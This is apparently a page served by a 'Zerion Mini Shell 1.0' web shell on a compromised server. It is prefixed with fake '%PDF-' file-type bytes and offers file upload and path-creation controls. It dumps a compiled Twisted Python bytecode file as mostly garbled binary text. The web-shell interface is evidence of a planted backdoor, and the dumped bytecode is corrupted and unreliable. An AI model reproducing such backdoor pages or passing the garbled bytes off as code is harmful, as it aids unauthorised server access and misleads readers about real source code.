%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/iocpreactor/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/iocpreactor/__pycache__/abstract.cpython-312.pyc

�

Ϫ�f
3���dZddlZddlmZddlmZmZmZddlm	Z	m
Z
mZddlm
ZddlmZmZddlmZeej(ej*ej,ej.�Gd	�d
e	e��Zd
gZy)z
Abstract file handle class
�N)�implementer)�error�
interfaces�main)�_ConsumerMixin�_dataMustBeBytes�	_LogOwner)�iocpsupport)�ERROR_HANDLE_EOF�ERROR_IO_PENDING)�failurec�Z�eZdZdZdZdZdZdZdZdZ	dZ
dZd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�ZdZdZdZdZdZdZdZd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&d�Z'd�Z(dZ)dZ*dZ+d Z,d!Z-d,d"�Z.d#�Z/d$�Z0e1jde3jh�fd%�Z5d&�Z6d'�Z7d(�Z8d)�Z9d*�Z:d+�Z;y)-�
FileHandlez<
    File handle that can read and write asynchronously
    �iFTrNc���|jj|�|js@|js3d|_|jj	d|j
�|_yyy�NTr)�reactor�addActiveHandle�_readScheduled�reading�	callLater�_resumeReading��selfs �G/usr/lib/python3/dist-packages/twisted/internet/iocpreactor/abstract.py�startReadingzFileHandle.startReading(sQ�����$�$�T�*��"�"�4�<�<��D�L�"&�,�,�"8�"8��D�<O�<O�"P�D��,8�"�c�l�|jr!|jj�d|_d|_y�NF)r�cancelrrs r�stopReadingzFileHandle.stopReading.s,��������&�&�(�"&�D����rc�n�d|_|j�r|js|j�yyy�N)r�
_dispatchData�_readScheduledInOS�doReadrs rrzFileHandle._resumeReading4s0��"��������(?�(?��K�K�M�)@�rc��|js|jS|j}||jz}|j|krZ|j	|j
|j�|xjdz
c_|jsy|j|kr�Z||jz}|r!|j	|j
|d|�|jr�|jt|j
�z}|||jz
kr|j
d=nU||k(rPt|j
�|jkr.|j
jt|j��d|_d|_|jS)zt
        Dispatch previously read data. Return True if self.reading and we don't
        have any more data
        �Fr���)�	_readSizer�readBufferSize�_readNextBuffer�dataReceived�_readBuffers�dynamicReadBuffers�len�maxReadBuffers�append�	bytearray)r�size�full_buffers�	remainder�total_buffer_sizes     rr$zFileHandle._dispatchData9s^��
�~�~��<�<���~�~���t�2�2�2���"�"�\�1����d�/�/��0D�0D�E�F�� � �A�%� ��<�<��	�"�"�\�1�
�4�.�.�.�	�����d�/�/��=�a�	�J�K��"�"� $� 3� 3�c�$�:K�:K�6L� L���'�$�*=�*=�=�=��%�%�b�)��)�)���)�)�*�T�-@�-@�@��!�!�(�(��4�3F�3F�)G�H� �������|�|�rc�Z�d|_|j|||�r|j�yyr)r%�_handleReadr&�r�rc�data�evts    r�_cbReadzFileHandle._cbReadYs*��"'������B��c�*��K�K�M�+rc� �|jry|s|r|tjtfvrN|jj|�|j
tjtj��y|r]|jtjtjdtjj|d��d|�d����y|j dk(sJ�|j"dk(sJ�||_|j%�S)zA
        Returns False if we should stop reading for now
        Fzread error -- �unknown� (�)r)�disconnected�errno�
WSAEDISCONrr�removeActiveHandle�readConnectionLostr
�Failurer�CONNECTION_DONE�connectionLostr�ConnectionLost�	errorcode�getr*r,r$r:s    rr9zFileHandle._handleRead^s��������t���(8�(8�:J�'K�!K��L�L�+�+�D�1��#�#�G�O�O�D�4H�4H�$I�J����������(�(� �?�?�.�.�r�9�=�r�C���
���>�>�Q�&�&�&��'�'�1�,�,�,�!�D�N��%�%�'�'rc���tj|j|�}|jx|_}|j||�\}}|r	|tk(rd|_y|j|||�y�NT)	�_iocp�Eventr>r.�buff�readFromHandlerr%r9)rr=rRr;�numBytesReads     rr&zFileHandle.doRead{sd���k�k�$�,�,��-���+�+�+���4��.�.�t�S�9���L��R�+�+�&*�D�#����R��s�3rc��t��r#��NotImplementedError)r�bufflistr=s   rrSzFileHandle.readFromHandle����!�#�#rc��t�r#rV�rr<s  rr-zFileHandle.dataReceived�s��!�!rc�&�|j|�yr#�rJ�r�reasons  rrGzFileHandle.readConnectionLost�s�����F�#rric�2�d|_|j�yrO)�_writeDisconnecting�startWritingrs r�loseWriteConnectionzFileHandle.loseWriteConnection�s��#'�� ����rc��yr#�rs r�_closeWriteConnectionz FileHandle._closeWriteConnection�s��rc�&�|j|�yr#r]r^s  r�writeConnectionLostzFileHandle.writeConnectionLost�s�����F�#rc���|jj|�|js@|js3d|_|jj	d|j
�|_yyyr)rr�_writeScheduled�writingr�_resumeWritingrs rrbzFileHandle.startWriting�sQ�����$�$�T�*��#�#�D�L�L��D�L�#'�<�<�#9�#9�!�T�=P�=P�#Q�D� �-9�#rc�l�|jr!|jj�d|_d|_yr)rjr rkrs r�stopWritingzFileHandle.stopWriting�s,������ � �'�'�)�#'�D� ���rc�2�d|_|j�yr#)rj�doWriters rrlzFileHandle._resumeWriting�s��#������rc�L�|j|||�r|j�yyr#)�_handleWriterp�rr;�numBytesWrittenr=s    r�_cbWritezFileHandle._cbWrite�s"�����R��#�6��L�L�N�7rc��|js|jry|r]|jtjtjdtjj|d��d|�d����y|xj|z
c_
|jt|j�k(r�|js�d|_d|_
|j�|j�:|j r|j"r"d|_|jj%�y|j&r3|jtjt(j*��y|j,rd|_|j/�yy)	zA
        Returns false if we should stop writing for now
        Fzwrite error -- r@rArBrrT)rC�_writeDisconnectedrJr
rHrrKrDrLrM�offsetr0�
dataBuffer�_tempDataLenrn�producer�streamingProducer�producerPaused�resumeProducing�
disconnectingrrIrarfrss    rrrzFileHandle._handleWrite�s9������ 7� 7����������(�(� �?�?�.�.�r�9�=�r�C���
���K�K�?�*�K��{�{�c�$�/�/�2�2�4�;L�;L�"%������� � �"��=�=�,��/�/�D�4G�4G�+/�D�'��M�M�1�1�3���'�'��'�'�����8L�8L�(M�N�
�	�-�-�.2�D�+��.�.�0��rc�@�t|j�|jz
|jkrO|j|jddj	|j
�z|_d|_g|_d|_tj|j|�}|jr,t|j�}||jdx|_}n|jx|_}|j||�\}}|r|tk7r|j|||�yyy)Nrr)r0ryrx�
SEND_LIMIT�join�_tempDataBufferrzrPrQru�
memoryviewrR�
writeToHandlerrr)rr=�sendViewrRr;r<s      rrpzFileHandle.doWrite�s����t����$�+�+�-����?�#�o�o�d�k�k�m�<�s�x�x��$�$�@��D�O��D�K�#%�D� � !�D���k�k�$�-�-��.���;�;�!�$�/�/�2�H�&�t�{�{�}�5�5�C�H�t�"�o�o�-�C�H�t��%�%�d�C�0���D�
�"�(�(����b�$��,�)�2rc��t��r#rV)rrRr=s   rr�zFileHandle.writeToHandle�rYrc��t|�|jr|jry|r�|jj	|�|xj
t
|�z
c_|j�\|jrPt
|j�|j
z|jkDr!d|_|jj�|j�yy)zpReliably write some data.

        The data is buffered until his file descriptor is ready for writing.
        NT)r�	connectedrwr�r2rzr0r{r|ry�writeBufferSizer}�pauseProducingrbr[s  r�writezFileHandle.writes���
	����~�~��!8�!8���� � �'�'��-�����T��*���}�}�(�T�-C�-C��t���'�$�*;�*;�;�d�>R�>R�R�*.�D�'��M�M�0�0�2�����rc���|D]
}t|��|jr|r|jry|jj	|�|D] }|xj
t
|�z
c_�"|j�\|jrPt
|j�|j
z|jkDr!d|_|jj�|j�yrO)rr�rwr��extendrzr0r{r|ryr�r}r�rb)r�iovec�is   r�
writeSequencezFileHandle.writeSequences����	 �A��Q��	 ��~�~�U�d�.E�.E�����#�#�E�*��	(�A�����Q��'��	(��=�=�$��)?�)?��4�?�?�#�d�&7�&7�7�$�:N�:N�N�&*��#��
�
�,�,�.����r�
Uninitializedic�t�|sddlm}||_g|_d|_t	|j
�g|_y)Nr)r)�twisted.internetrr�rzr3r+r.)rrs  r�__init__zFileHandle.__init__'s5���0����!������&�t�':�':�;�<��rc���d|_d|_|j�!|jj�d|_|j	�|j�|jj|�y)a�
        The connection was lost.

        This is called when the connection on a selectable object has been
        lost.  It will be called whether the connection was closed explicitly,
        an exception occurred in an event handler, or the other end of the
        connection closed it first.

        Clean up state here, but make sure to call back up to FileDescriptor.
        TFN)rCr�r{�
stopProducingr!rnrrFr^s  rrJzFileHandle.connectionLost/s^��!�������=�=�$��M�M�'�'�)� �D�M������������'�'��-rc��y)Nr)rers r�
getFileHandlezFileHandle.getFileHandleDs��rc��|jro|jsb|jr.|j�|j|j|�y|j�|j
�d|_yyy)ad
        Close the connection at the next available opportunity.

        Call this to cause this FileDescriptor to lose its connection.  It will
        first write any data that it has buffered.

        If there is data buffered yet to be written, this method will cause the
        transport to lose its connection as soon as it's done flushing its
        write buffer.  If you have a producer registered, the connection won't
        be closed until the producer is finished. Therefore, make sure you
        unregister your producer when it's finished, or the connection will
        never close.
        r(N)r�rrwr!rnrJrb)r�	_connDones  r�loseConnectionzFileHandle.loseConnectionGsf���>�>�$�"4�"4��&�&�� � �"�� � ��#�#�I�.�� � �"��!�!�#�%&��"�#5�>rc�D�|j�|j�y)z�
        Stop consuming data.

        This is called when a producer has lost its connection, to tell the
        consumer to go lose its connection (and break potential circular
        references).
        N)�unregisterProducerr�rs r�
stopConsumingzFileHandle.stopConsumingcs��	
���!����rc�X�|jr|js|j�yyyr#)r�rrrs rr~zFileHandle.resumeProducingps$���>�>�$�"4�"4�����#5�>rc�$�|j�yr#)r!rs rr�zFileHandle.pauseProducingts�����rc�$�|j�yr#)r�rs rr�zFileHandle.stopProducingws�����rc��t��r#rVrs r�getHostzFileHandle.getHostz���!�#�#rc��t��r#rVrs r�getPeerzFileHandle.getPeer~r�rr#)<�__name__�
__module__�__qualname__�__doc__r1r+rr/r,r*rr%rr!rr$r>r9r&rSr-rGryrxrkrjrarwr�rcrfrhrbrnrlrurrrpr�r�r�r�rCr�logstrr�r�rJr�r
rHrrIr�r�r~r�r�r�r�rerrrrs/���
�N��N��G����O��I��N���Q���
�@�
(�:	4�$�"�$��J�
�F��G��O����� �O��
�$�R����+�Z-�.$� �"��I��L��M�
�F��J�=�.�*�(7�w���t�7K�7K�'L�'�8	� ���$�$rr)r�rD�zope.interfacerr�rrr�twisted.internet.abstractrrr	�twisted.internet.iocpreactorr
rP�"twisted.internet.iocpreactor.constrr�twisted.pythonr
�
IPushProducer�	IConsumer�
ITransport�IHalfCloseableDescriptorr�__all__rerr�<module>r�sz���
�&�4�4�Q�Q�=�Q�"�
�����������'�'�	�g$���g$�
�g$�T�.�r

Zerion Mini Shell 1.0